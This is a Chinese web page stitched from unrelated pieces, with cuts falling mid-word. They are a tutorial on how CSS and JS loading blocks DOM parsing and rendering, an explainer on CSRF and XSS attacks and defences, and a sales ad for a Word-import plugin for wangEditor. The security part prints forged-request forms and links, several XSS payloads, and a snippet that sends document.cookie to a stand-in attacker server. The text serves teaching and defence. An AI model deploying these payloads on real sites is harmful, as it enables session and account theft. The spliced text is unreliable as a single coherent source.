計(jì)大家都聽(tīng)過(guò),盡量將CSS放頭部,JS放底部,這樣可以提高頁(yè)面的性能。然而,為什么呢?大家有考慮過(guò)么?很長(zhǎng)一段時(shí)間,我都是知其然而不知其所以然,強(qiáng)行背下來(lái)應(yīng)付考核當(dāng)然可以,但實(shí)際應(yīng)用中必然一塌糊涂。因此洗(wang)心(yang)革(bu)面(lao),小結(jié)一下最近玩出來(lái)的成果。
node端唯一需要解釋一下的是這個(gè)函數(shù):
function sleep(time) { return new Promise(function(res) { setTimeout(() => { res() }, time); }) }
嗯!其實(shí)就延時(shí)啦。如果CSS或者JS文件名有sleep3000之類的前綴時(shí),意思就是延遲3000毫秒才會(huì)返回這文件。
下文使用的HTML文件是長(zhǎng)這樣的
我會(huì)在其中插入不同的JS和CSS。
而使用的common.css,不論有沒(méi)有前綴,內(nèi)容都是這樣的:
div { background: lightblue; }
好了,話不多數(shù),開(kāi)始正文!
關(guān)于CSS,大家肯定都知道的是<link>標(biāo)簽放在頭部性能會(huì)高一點(diǎn),少一點(diǎn)人知道如果<script>與<link>同時(shí)在頭部的話,<script>在上可能會(huì)更好。這是為什么呢?下面我們一起來(lái)看一下CSS對(duì)DOM的影響是什么。
CSS 不會(huì)阻塞 DOM 的解析
注意哦!這里說(shuō)的是DOM 解析,證明的例子如下,首先在頭部插入<script defer src="/js/logDiv.js"></script>,JS文件的內(nèi)容是:
const div = document.querySelector('div'); console.log(div);
defer屬性相信大家也很熟悉了,MDN對(duì)此的描述是用來(lái)通知瀏覽器該腳本將在文檔完成解析后,觸發(fā) DOMContentLoaded 事件前執(zhí)行。設(shè)置這個(gè)屬性,能保證DOM解析后馬上打印出div。
之后將<link rel="stylesheet" href="/css/sleep3000-common.css">插入HTML文件的任一位置,打開(kāi)瀏覽器,可以看到是首先打印出div這個(gè)DOM節(jié)點(diǎn),過(guò)3s左右之后才渲染出一個(gè)淺藍(lán)色的div。這就證明了CSS 是不會(huì)阻塞 DOM 的解析的,盡管CSS下載需要3s,但這個(gè)過(guò)程中,瀏覽器不會(huì)傻等著CSS下載完,而是會(huì)解析DOM的。
這里簡(jiǎn)單說(shuō)一下,瀏覽器是解析DOM生成DOM Tree,結(jié)合CSS生成的CSS Tree,最終組成render tree,再渲染頁(yè)面。由此可見(jiàn),在此過(guò)程中CSS完全無(wú)法影響DOM Tree,因而無(wú)需阻塞DOM解析。然而,DOM Tree和CSS Tree會(huì)組合成render tree,那CSS會(huì)不會(huì)頁(yè)面阻塞渲染呢?
CSS 阻塞頁(yè)面渲染
其實(shí)這一點(diǎn),剛才的例子已經(jīng)說(shuō)明了,如果CSS 不會(huì)阻塞頁(yè)面阻塞渲染,那么CSS文件下載之前,瀏覽器就會(huì)渲染出一個(gè)淺綠色的div,之后再變成淺藍(lán)色。瀏覽器的這個(gè)策略其實(shí)很明智的,想象一下,如果沒(méi)有這個(gè)策略,頁(yè)面首先會(huì)呈現(xiàn)出一個(gè)原始的模樣,待CSS下載完之后又突然變了一個(gè)模樣。用戶體驗(yàn)可謂極差,而且渲染是有成本的。
因此,基于性能與用戶體驗(yàn)的考慮,瀏覽器會(huì)盡量減少渲染的次數(shù),CSS順理成章地阻塞頁(yè)面渲染。
然而,事情總有奇怪的,請(qǐng)看這例子,HTML頭部結(jié)構(gòu)如下:
<header> <link rel="stylesheet" href="/css/sleep3000-common.css"> <script src="/js/logDiv.js"></script> </header>
但思考一下這會(huì)產(chǎn)生什么結(jié)果呢?
答案是瀏覽器會(huì)轉(zhuǎn)圈圈三秒,但此過(guò)程中不會(huì)打印任何東西,之后呈現(xiàn)出一個(gè)淺藍(lán)色的div,再打印出null。結(jié)果好像是CSS不單阻塞了頁(yè)面渲染,還阻塞了DOM 的解析啊!稍等,在你打算掀桌子瘋狂吐槽我之前,請(qǐng)先思考一下是什么阻塞了DOM 的解析,剛才已經(jīng)證明了CSS是不會(huì)阻塞的,那么阻塞了頁(yè)面解析其實(shí)是JS!但明明JS的代碼如此簡(jiǎn)單,肯定不會(huì)阻塞這么久,那就是JS在等待CSS的下載,這是為什么呢?
仔細(xì)思考一下,其實(shí)這樣做是有道理的,如果腳本的內(nèi)容是獲取元素的樣式,寬高等CSS控制的屬性,瀏覽器是需要計(jì)算的,也就是依賴于CSS。瀏覽器也無(wú)法感知腳本內(nèi)容到底是什么,為避免樣式獲取,因而只好等前面所有的樣式下載完后,再執(zhí)行JS。因而造成了之前例子的情況。
所以,看官大人明白為何<script>與<link>同時(shí)在頭部的話,<script>在上可能會(huì)更好了么?之所以是可能,是因?yàn)槿绻?lt;link>的內(nèi)容下載更快的話,是沒(méi)影響的,但反過(guò)來(lái)的話,JS就要等待了,然而這些等待的時(shí)間是完全不必要的。
JS,也就是<script>標(biāo)簽,估計(jì)大家都很熟悉了,不就是阻塞DOM解析和渲染么。然而,其中其實(shí)還是有一點(diǎn)細(xì)節(jié)可以考究一下的,我們一起來(lái)好好看看。
JS 阻塞 DOM 解析
首先我們需要一個(gè)新的JS文件名為blok.js,內(nèi)容如下:
const arr = []; for (let i = 0; i < 10000000; i++) { arr.push(i); arr.splice(i % 3, i % 7, i % 5); } const div = document.querySelector('div'); console.log(div);
其實(shí)那個(gè)數(shù)組操作時(shí)沒(méi)意義的,只是為了讓這個(gè)JS文件多花執(zhí)行時(shí)間而已。之后把這個(gè)文件插入頭部,瀏覽器跑一下。
結(jié)果估計(jì)大家也能想象得到,瀏覽器轉(zhuǎn)圈圈一會(huì),這過(guò)程中不會(huì)有任何東西出現(xiàn)。之后打印出null,再出現(xiàn)一個(gè)淺綠色的div。現(xiàn)象就足以說(shuō)明JS 阻塞 DOM 解析了。其實(shí)原因也很好理解,瀏覽器并不知道腳本的內(nèi)容是什么,如果先行解析下面的DOM,萬(wàn)一腳本內(nèi)全刪了后面的DOM,瀏覽器就白干活了。更別談喪心病狂的document.write。瀏覽器無(wú)法預(yù)估里面的內(nèi)容,那就干脆全部停住,等腳本執(zhí)行完再干活就好了。
對(duì)此的優(yōu)化其實(shí)也很顯而易見(jiàn),具體分為兩類。如果JS文件體積太大,同時(shí)你確定沒(méi)必要阻塞DOM解析的話,不妨按需要加上defer或者async屬性,此時(shí)腳本下載的過(guò)程中是不會(huì)阻塞DOM解析的。
而如果是文件執(zhí)行時(shí)間太長(zhǎng),不妨分拆一下代碼,不用立即執(zhí)行的代碼,可以使用一下以前的黑科技:setTimeout()。當(dāng)然,現(xiàn)代的瀏覽器很聰明,它會(huì)“偷看”之后的DOM內(nèi)容,碰到如<link>、<script>和<img>等標(biāo)簽時(shí),它會(huì)幫助我們先行下載里面的資源,不會(huì)傻等到解析到那里時(shí)才下載。
瀏覽器遇到 <script> 標(biāo)簽時(shí),會(huì)觸發(fā)頁(yè)面渲染
這個(gè)細(xì)節(jié)可能不少看官大人并不清楚,其實(shí)這才是解釋上面為何JS執(zhí)行會(huì)等待CSS下載的原因。先上例子,HTML內(nèi)body的結(jié)構(gòu)如下:
<body> <div></div> <script src="/js/sleep3000-logDiv.js"></script> <style> div { background: lightgrey; } </style> <script src="/js/sleep5000-logDiv.js"></script> <link rel="stylesheet" href="/css/common.css"> </body>
這個(gè)例子也是很極端的例子,但不妨礙它透露給我們很多重要的信息。想象一下,頁(yè)面會(huì)怎樣呢?
答案是先淺綠色,再淺灰色,最后淺藍(lán)色。由此可見(jiàn),每次碰到<script>標(biāo)簽時(shí),瀏覽器都會(huì)渲染一次頁(yè)面。這是基于同樣的理由,瀏覽器不知道腳本的內(nèi)容,因而碰到腳本時(shí),只好先渲染頁(yè)面,確保腳本能獲取到最新的DOM元素信息,盡管腳本可能不需要這些信息。
綜上所述,我們得出這樣的結(jié)論:
所以,你現(xiàn)在明白為何<script>最好放底部,<link>最好放頭部,如果頭部同時(shí)有<script>與<link>的情況下,最好將<script>放在<link>上面了嗎?
前端要知道的網(wǎng)絡(luò)知識(shí)一:TCP/IP 協(xié)議到底在講什么
前端要知道的網(wǎng)絡(luò)知識(shí)二:TCP協(xié)議的三次握手和四次分手
前端要知道的網(wǎng)絡(luò)知識(shí)三:認(rèn)識(shí)OSI七層模型
前端要知道的網(wǎng)絡(luò)知識(shí)四:TCP的概念和HTTP連接管理
前端要知道的網(wǎng)絡(luò)知識(shí)五:詳細(xì)的介紹web緩存
前端要知道的網(wǎng)絡(luò)知識(shí)六:詳細(xì)介紹URL及其用法
前端要知道的網(wǎng)絡(luò)知識(shí)七:初識(shí)HTTP報(bào)文
前端要知道的網(wǎng)絡(luò)知識(shí)八:GET 和 POST 到底有什么區(qū)別
前端要知道的網(wǎng)絡(luò)知識(shí)九:初識(shí)HTTPS加密過(guò)程,原來(lái)如此
前端要知道的網(wǎng)絡(luò)知識(shí)十:HTTPS加密核心RSA算法
....
鏈接文章
https://juejin.im/post/59c60691518825396f4f71a1
https://github.com/ljf0113/how-js-and-css-block-dom
https://github.com/stephentian/33-js-concepts?utm_source=gold_browser_extension
、CSRF
CSRF 全稱叫做,跨站請(qǐng)求偽造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發(fā)送惡意請(qǐng)求,對(duì)服務(wù)器來(lái)說(shuō)這個(gè)請(qǐng)求是完全合法的,但是卻完成了攻擊者所期望的一個(gè)操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號(hào),添加系統(tǒng)管理員,甚至于購(gòu)買商品、虛擬貨幣轉(zhuǎn)賬等。對(duì)于服務(wù)器而言,判斷請(qǐng)求對(duì)象是否是你本身的方法限于提供身份認(rèn)證的cookie、秘鑰等,無(wú)法去識(shí)別個(gè)體。
1.原理介紹及流程分析
以下,舉例模擬一個(gè)被CSRF攻擊影響的例子:
①用戶C打開(kāi)瀏覽器,訪問(wèn)受信任網(wǎng)站A,輸入用戶名和密碼請(qǐng)求登錄網(wǎng)站A;
②在用戶信息通過(guò)驗(yàn)證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時(shí)用戶登錄網(wǎng)站A成功,可以正常發(fā)送請(qǐng)求到網(wǎng)站A;
③用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開(kāi)一個(gè)TAB頁(yè)訪問(wèn)網(wǎng)站B;
④網(wǎng)站B接收到用戶請(qǐng)求后,返回一些攻擊性代碼,并發(fā)出一個(gè)請(qǐng)求要求訪問(wèn)第三方站點(diǎn)A;
⑤瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請(qǐng)求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請(qǐng)求。網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由B發(fā)起的,所以會(huì)根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請(qǐng)求,導(dǎo)致來(lái)自網(wǎng)站B的惡意代碼被執(zhí)行。
更為具體的舉例,偽造請(qǐng)求的方式一般有如下幾種方式:
// 頁(yè)面中有一個(gè)超鏈接,誘導(dǎo)用戶進(jìn)行點(diǎn)擊
<a href="https://aaa.com?userid=3&money=9999">誘導(dǎo)信息</a>
// 直接在頁(yè)面上使用Img進(jìn)行g(shù)et請(qǐng)求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表單進(jìn)行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
2.CSRF漏洞檢測(cè)
檢測(cè)CSRF漏洞是一項(xiàng)比較繁瑣的工作,最簡(jiǎn)單的方法就是抓取一個(gè)正常請(qǐng)求的數(shù)據(jù)包,去掉Referer字段后再重新提交,如果該提交還有效,那么基本上可以確定存在CSRF漏洞。
當(dāng)然我們也可以試著利用根據(jù)來(lái)進(jìn)行漏洞檢測(cè),隨著對(duì)CSRF漏洞研究的不斷深入,不斷涌現(xiàn)出一些專門針對(duì)CSRF漏洞進(jìn)行檢測(cè)的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具為例,CSRF漏洞檢測(cè)工具的測(cè)試原理如下:使用CSRFTester進(jìn)行測(cè)試時(shí),首先需要抓取我們?cè)跒g覽器中訪問(wèn)過(guò)的所有鏈接以及所有的表單等信息,然后通過(guò)在CSRFTester中修改相應(yīng)的表單等信息,重新提交,這相當(dāng)于一次偽造客戶端請(qǐng)求。如果修改后的測(cè)試請(qǐng)求成功被網(wǎng)站服務(wù)器接受,則說(shuō)明存在CSRF漏洞,當(dāng)然此款工具也可以被用來(lái)進(jìn)行CSRF攻擊。
3.CSRF防御原理
根據(jù)以上的方式我們能顯而易見(jiàn)看到,問(wèn)題就出在“訪問(wèn)網(wǎng)站B”和“攜帶Cookie信息”上。針對(duì)CRSF攻擊,CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理,通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷,判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的,所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù),我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn),并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理,就是數(shù)據(jù)過(guò)期管理。
由此得出,CSRF防護(hù)的一個(gè)重點(diǎn)是要對(duì)“用戶憑證”進(jìn)行校驗(yàn)處理,通過(guò)這種機(jī)制可以對(duì)用戶的請(qǐng)求是合法進(jìn)行判斷,判斷是不是跨站攻擊的行為。因?yàn)椤坝脩魬{證”是Cookie中存儲(chǔ)的,所以防護(hù)機(jī)制的處理對(duì)像也是Cookie的數(shù)據(jù),我們要在防護(hù)的數(shù)據(jù)中加入簽名校驗(yàn),并對(duì)數(shù)據(jù)進(jìn)行生命周期時(shí)間管理,就是數(shù)據(jù)過(guò)期管理。
①防御思路
針對(duì)防止CSRF的發(fā)生,創(chuàng)建Token處理機(jī)制,Token數(shù)據(jù)結(jié)構(gòu)與時(shí)間、加密簽名直接相關(guān), 這么設(shè)計(jì)的的目的如上所說(shuō),是給“身份憑證”加上時(shí)間生存周期管理和簽名校驗(yàn)管理,如果的憑證被人拿到了, 要先判斷Token中的“簽名”與時(shí)間戳是否都有效,再進(jìn)行正常的業(yè)務(wù)處理, 這樣通過(guò)對(duì)非法數(shù)據(jù)的校驗(yàn)過(guò)濾,來(lái)降低CSRF攻擊的成功率。
②簽名與時(shí)間戳防護(hù)處理流程
在token中加入上述方法中所描述的時(shí)間戳信息和簽名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
token = base64(msg)格式化..base64(sha256("密鎖", msg))
整個(gè)Token就是由被Base64的msg編碼串+先256加密msg再進(jìn)行Base64編碼,兩個(gè)串的內(nèi)容結(jié)合。
③Token校驗(yàn)
在整個(gè)防御做法中,對(duì)于token的校驗(yàn)流程為:
二、XSS
XSS(跨站腳本攻擊,Cross-site scripting,簡(jiǎn)稱并不是 CSS,因?yàn)?CSS是 層疊樣式表)是一種常見(jiàn)的 web 安全問(wèn)題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁(yè)面中。從而達(dá)到攻擊的目的。如,盜取用戶Cookie、破壞頁(yè)面結(jié)構(gòu)、重定向到其它網(wǎng)站等。
1.XSS攻擊類型區(qū)分
① 反射型
反射型 XSS攻擊 通常是簡(jiǎn)單地把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。黑客一般會(huì)誘使用戶點(diǎn)擊一個(gè)有惡意的鏈接,用戶點(diǎn)擊就會(huì)發(fā)起 XSS 攻擊。反射型 XSS 攻擊可以將 JavaScript 腳本插入到 HTML 節(jié)點(diǎn)中、HTML 屬性中以及通過(guò) JS 注入到 URL 或 HTML 文檔中。
② 儲(chǔ)存型
存儲(chǔ)型 XSS攻擊 這種攻擊會(huì)把用戶輸入的數(shù)據(jù)存儲(chǔ)到服務(wù)器中。例如在一個(gè)有 XSS 漏洞的博客網(wǎng)站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發(fā)布后,所有看了這篇博文的用戶都會(huì)在他們的瀏覽器中執(zhí)行惡意 JavaScript 代碼。
③ DOM-based 型
注意: 這種類型的劃分與以上兩種類型劃分方式不同,是按照Payload的位置劃分
DOM-based 型XSS攻擊 基于 DOM 的 XSS 攻擊是指通過(guò)惡意腳本修改頁(yè)面的 DOM 結(jié)構(gòu),是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。
發(fā)起 XSS 攻擊后,黑客寫入的 JavaScript 代碼就會(huì)執(zhí)行,通過(guò)腳本可以控制用戶的瀏覽器。一個(gè)常見(jiàn)的攻擊手段是“Cookie 劫持”,cookie 中一般加密保存著當(dāng)前用戶的登錄憑據(jù),黑客可以通過(guò)惡意代碼將用戶的 cookie 發(fā)到自己的服務(wù)器上,然后就可以做到無(wú)密碼登錄上用戶的賬戶。
2.實(shí)現(xiàn)XSS攻擊的條件
①需要向web頁(yè)面注入惡意代碼;
②這些惡意代碼能夠被瀏覽器成功的執(zhí)行。
3.會(huì)利用XSS攻擊獲取什么?
①竊取cookies,讀取目標(biāo)網(wǎng)站的cookie發(fā)送到黑客的服務(wù)器上,如下面的代碼:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到來(lái)自瀏覽器的自帶防御,瀏覽器針對(duì)于這類問(wèn)題的存在,對(duì)于DOM對(duì)象的訪問(wèn)會(huì)有自己的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的,火狐也能執(zhí)行代碼,但火狐對(duì)其禁止訪問(wèn)DOM對(duì)象,所以在火狐下執(zhí)行將會(huì)看到控制里拋出異常:document is not defined
②讀取用戶未公開(kāi)的資料,如果:郵件列表或者內(nèi)容、系統(tǒng)的客戶資料,聯(lián)系人列表等等,如代碼
③篡改網(wǎng)頁(yè),進(jìn)行釣魚(yú)或者惡意傳播
④網(wǎng)站重定向
4.XSS的防御
①具體舉例: 注入轉(zhuǎn)義
對(duì)于URL做解析時(shí)和發(fā)起get請(qǐng)求時(shí)都會(huì)需要讀取URL攜帶的參數(shù),如果將 url 中的參數(shù)直接插入到 DOM 中,這就有可能構(gòu)成 XSS 攻擊,攻擊者利用這一漏洞,給其他用戶發(fā)送一個(gè)有惡意的鏈接,用戶就有可能中招。 如:
http://www.example/test.index?param=<script>alert('XSS')</script>
這個(gè) URL 的 param 參數(shù)值并不是合理的,而是攻擊者構(gòu)建的。
再如: 一個(gè)超鏈接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通過(guò)點(diǎn)擊鏈接的方式注入XSS,去獲取當(dāng)前用戶的Cookie。
②防御方式
③常見(jiàn)的xss攻擊方法
<img src=“javascript:alert(‘xss’)”/>
(當(dāng)然并不是所有的Web瀏覽器都支持Javascript偽協(xié)議,所以此類XSS攻擊具有一定的局限性)
<img src=“javas cript:alert(/xss/);”/>
<img src=“#” onerror= “alert(1)”/>
當(dāng)src錯(cuò)誤的視乎就會(huì)執(zhí)行onerror事件
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
<IMG SRC=“javaSCript: alert(/xss/);”/>
5.XSS攻擊防御
原則:不相信客戶輸入的數(shù)據(jù)
注意:攻擊代碼不一定在<script></script>中
輸入過(guò)濾,對(duì)用戶提交的數(shù)據(jù)進(jìn)行有效性驗(yàn)證,僅接受指定長(zhǎng)度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù)。比如:電話號(hào)碼必須是數(shù)字和中劃線組成,而且要設(shè)定長(zhǎng)度上限。過(guò)濾一些些常見(jiàn)的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";過(guò)濾或移除特殊的Html標(biāo)簽, 例如: <script>, <iframe> , < for <, > for >, " for;過(guò)濾JavaScript 事件的標(biāo)簽,例如 "onclick=", "onfocus" 等等。
輸出編碼,當(dāng)需要將一個(gè)字符串輸出到Web網(wǎng)頁(yè)時(shí),同時(shí)又不確定這個(gè)字符串中是否包括XSS特殊字符(如< > &‘”等),為了確保輸出內(nèi)容的完整性和正確性,可以使用編碼(HTMLEncode)進(jìn)行處理。
把變量輸出到頁(yè)面時(shí)要做好相關(guān)的編碼轉(zhuǎn)義工作,如要輸出到 <script>中,可以進(jìn)行JS編碼;要輸出到HTML內(nèi)容或?qū)傩裕瑒t進(jìn)行HTML編碼處理。根據(jù)不同的語(yǔ)境采用不同的編碼處理方式。
將重要的cookie標(biāo)記為http only, 這樣的話當(dāng)瀏覽器向Web服務(wù)器發(fā)起請(qǐng)求的時(shí)就會(huì)帶上cookie字段,但是在腳本中卻不能訪問(wèn)這個(gè)cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:
原文:https://juejin.cn/post/6874730741989801997
AVA中將WORD轉(zhuǎn)換為HTML導(dǎo)入到WANGEDITOR編輯器中(解決圖片問(wèn)題,樣式,非常完美),wangEditor如何導(dǎo)入word文檔,如何實(shí)現(xiàn)導(dǎo)入WORD文檔到WANGEDITOR編輯器中?WANGEDITOR導(dǎo)入WORD文檔 WANGEDITOR WORD導(dǎo)入插件,HTML富文本編輯器導(dǎo)入WORD,Web富文本編輯器導(dǎo)入WORD,WANGEDITOR富文本編輯器導(dǎo)入WORD,WANGEDITOR導(dǎo)入WORD,WANGEDITORWORD導(dǎo)入編輯,wangEditor集成word導(dǎo)入功能,
后端是用的JAVA,SpringBoot框架,實(shí)際上前端在集成的時(shí)候是不關(guān)心后端具體是用什么語(yǔ)言實(shí)現(xiàn)的。
它這個(gè)版本有幾個(gè)wangEditor3,wangEditor4,wangEditor5,好用的是就3和4,5不支持插入HTML。但是用戶用插入HTML這個(gè)功能用的比較多。
vue-cli-wangEditor3,vue3-cli-wangEditor4集成word導(dǎo)入功能。在VUE框架下面集成了WORD導(dǎo)入功能。
用戶選擇word文件后,自動(dòng)轉(zhuǎn)換成html,自動(dòng)將word里面的圖片上傳到服務(wù)器中,自動(dòng)將HTML添加到編輯器中。
主要的方案就是提供一個(gè)轉(zhuǎn)換接口,轉(zhuǎn)換接口使用RESTful協(xié)議,這樣的話兼容性更好一點(diǎn),其它的平臺(tái)用起來(lái)的話更方便簡(jiǎn)單一點(diǎn),而且測(cè)試起來(lái)也方便。
現(xiàn)有項(xiàng)目需要為TinyMCE增加導(dǎo)入word文件的功能,導(dǎo)入后word文件里面的圖片自動(dòng)上傳到服務(wù)器中,返回圖片和文字HTML,word里面的文本樣式保留
用戶一般在發(fā)新聞和發(fā)文章時(shí)用到,算是一個(gè)高頻使用功能,用戶體驗(yàn)上來(lái)講確實(shí)是很好,和以前的發(fā)新聞或者發(fā)文章的體驗(yàn)比起來(lái)要方便許多,用戶用的更爽。
1.下載示例
https://gitee.com/xproer/zyoffice-vue3-cli-wang-editor4
2.引入組件
3.添加按鈕
4.配置轉(zhuǎn)換接口
效果
開(kāi)發(fā)文檔:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsDazDKJ
產(chǎn)品比較:https://drive.weixin.qq.com/s?k=ACoAYgezAAwh8oq8Zf
產(chǎn)品源代碼:https://drive.weixin.qq.com/s?k=ACoAYgezAAwjJM8412
報(bào)價(jià)單:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsfyDdrf
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。